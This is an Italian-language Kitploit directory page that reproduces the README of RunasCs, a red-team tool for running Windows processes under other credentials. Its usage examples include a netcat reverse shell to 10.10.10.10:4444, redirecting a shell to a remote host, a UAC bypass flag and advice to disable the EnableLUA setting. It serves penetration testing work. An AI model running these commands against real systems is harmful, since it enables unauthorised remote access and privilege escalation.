Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
RunasCs — RunasCs - Csharp and open version of windows builtin runas.exe | Kitploit
Strumenti/GitHubGitHub/antoniococo/runascs
Privilege EscalationImpersonation ToolsLateral MovementPost-ExploitationPenetration TestingRed Teaming
GitHubantoniococo/runascs

RunasCs

RunasCs - Csharp and open version of windows builtin runas.exe

Vedi Repository
1.4k1612 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

RunasCs


RunasCs è un'utilità per eseguire processi specifici con permessi diversi rispetto a quelli forniti dal logon corrente dell'utente, utilizzando credenziali esplicite. Questo strumento è una versione migliorata e open del runas.exe integrato in Windows che risolve alcune limitazioni:

  • Consente credenziali esplicite
  • Funziona sia se avviato da un processo interattivo sia da un processo di servizio
  • Gestisce correttamente le DACL per Window Stations e Desktop per la creazione del nuovo processo
  • Usa funzioni di creazione processi più affidabili come CreateProcessAsUser() e CreateProcessWithTokenW() se il processo chiamante possiede i privilegi richiesti (rilevamento automatico)
  • Consente di specificare il tipo di logon, ad esempio logon 8-NetworkCleartext (nessuna limitazione UAC)
  • Consente di bypassare UAC quando si conosce una password di amministratore (flag --bypass-uac)
  • Consente di creare un processo con il thread principale che impersona l'utente richiesto (flag --remote-impersonation)
  • Consente di reindirizzare stdin, stdout e stderr verso un host remoto
  • È open source :)

RunasCs dispone di un rilevamento automatico per determinare la migliore funzione di creazione processi per ogni contesto. In base ai permessi del token del processo chiamante, userà una delle funzioni di creazione processi nel seguente ordine di preferenza:

  1. CreateProcessAsUserW()
  2. CreateProcessWithTokenW()
  3. CreateProcessWithLogonW()

Requisiti


.NET Framework >= 2.0

Utilizzo


root@kitploit:~
RunasCs v1.5 - @splinter_code

Usage:
    RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation]

Description:
    RunasCs is an utility to run specific processes under a different user account
    by specifying explicit credentials. In contrast to the default runas.exe command
    it supports different logon types and CreateProcess* functions to be used, depending
    on your current permissions. Furthermore it allows input/output redirection (even
    to remote hosts) and you can specify the password directly on the command line.

Positional arguments:
    username                username of the user
    password                password of the user
    cmd                     commandline for the process

Optional arguments:
    -d, --domain domain
                            domain of the user, if in a domain.
                            Default: ""
    -f, --function create_process_function
                            CreateProcess function to use. When not specified
                            RunasCs determines an appropriate CreateProcess
                            function automatically according to your privileges.
                            0 - CreateProcessAsUserW
                            1 - CreateProcessWithTokenW
                            2 - CreateProcessWithLogonW
    -l, --logon-type logon_type
                            the logon type for the token of the new process.
                            Default: "2" - Interactive
    -t, --timeout process_timeout
                            the waiting time (in ms) for the created process.
                            This will halt RunasCs until the spawned process
                            ends and sent the output back to the caller.
                            If you set 0 no output will be retrieved and a
                            background process will be created.
                            Default: "120000"
    -r, --remote host:port
                            redirect stdin, stdout and stderr to a remote host.
                            Using this option sets the process_timeout to 0.
    -p, --force-profile
                            force the creation of the user profile on the machine.
                            This will ensure the process will have the
                            environment variables correctly set.
                            WARNING: If non-existent, it creates the user profile
                            directory in the C:\Users folder.
    -b, --bypass-uac
                            try a UAC bypass to spawn a process without
                            token limitations (not filtered).
    -i, --remote-impersonation
                            spawn a new process and assign the token of the
                            logged on user to the main thread.

Examples:
    Run a command as a local user
        RunasCs.exe user1 password1 "cmd /c whoami /all"
    Run a command as a domain user and logon type as NetworkCleartext (8)
        RunasCs.exe user1 password1 "cmd /c whoami /all" -d domain -l 8
    Run a background process as a local user,
        RunasCs.exe user1 password1 "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0
    Redirect stdin, stdout and stderr of the specified command to a remote host
        RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444
    Run a command simulating the /netonly flag of runas.exe
        RunasCs.exe user1 password1 "cmd /c whoami /all" -l 9
    Run a command as an Administrator bypassing UAC
        RunasCs.exe adm1 password1 "cmd /c whoami /priv" --bypass-uac
    Run a command as an Administrator through remote impersonation
        RunasCs.exe adm1 password1 "cmd /c echo admin > C:\Windows\admin" -l 8 --remote-impersonation

I due processi (chiamante e chiamato) comunicheranno attraverso una pipe (sia per stdout che per stderr). Il tipo di logon predefinito è 2 (Interactive).

Di default, il tipo di logon Interactive (2) è limitato da UAC e il token generato da queste autenticazioni viene filtrato. Puoi rendere il logon interattivo senza restrizioni impostando la seguente chiave di registro a 0 e riavviando il server:

root@kitploit:~
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

In alternativa, puoi provare il flag --bypass-uac per tentare di bypassare la limitazione del filtraggio del token.

Il tipo di logon NetworkCleartext (8) è quello con i permessi più ampi poiché non viene filtrato da UAC nei token locali e consente comunque autenticazioni sulla rete, in quanto memorizza le credenziali nel pacchetto di autenticazione. Se disponi di privilegi sufficienti, prova a specificare sempre questo tipo di logon tramite il flag --logon-type 8.

Di default, il processo chiamante (RunasCs) attende la fine dell'esecuzione del processo avviato. Se devi avviare un processo in background o asincrono, ad esempio una reverse shell, devi impostare il parametro -t timeout a 0. In questo caso RunasCs non attenderà la fine dell'esecuzione del processo appena avviato.

Riferimenti


  • Patate e token
  • Avvio di un processo client interattivo in C++
  • Creazione di un processo figlio con input e output reindirizzati
  • Servizi interattivi
  • Che succede con l'errore "The application failed to initialize properly (0xc0000142)"?
  • Ottenere una shell da un account di servizio interattivo
  • Come orientarsi in UAC (Parte 1)
  • Come orientarsi in UAC (Parte 2)
  • Come orientarsi in UAC (Parte 3)
  • Vanara - Un insieme di librerie .NET per Windows che implementa chiamate PInvoke a molte API Windows native con wrapper di supporto

Crediti


  • @decoder
  • @qtc-de
  • @winlogon0
Scarica lo strumento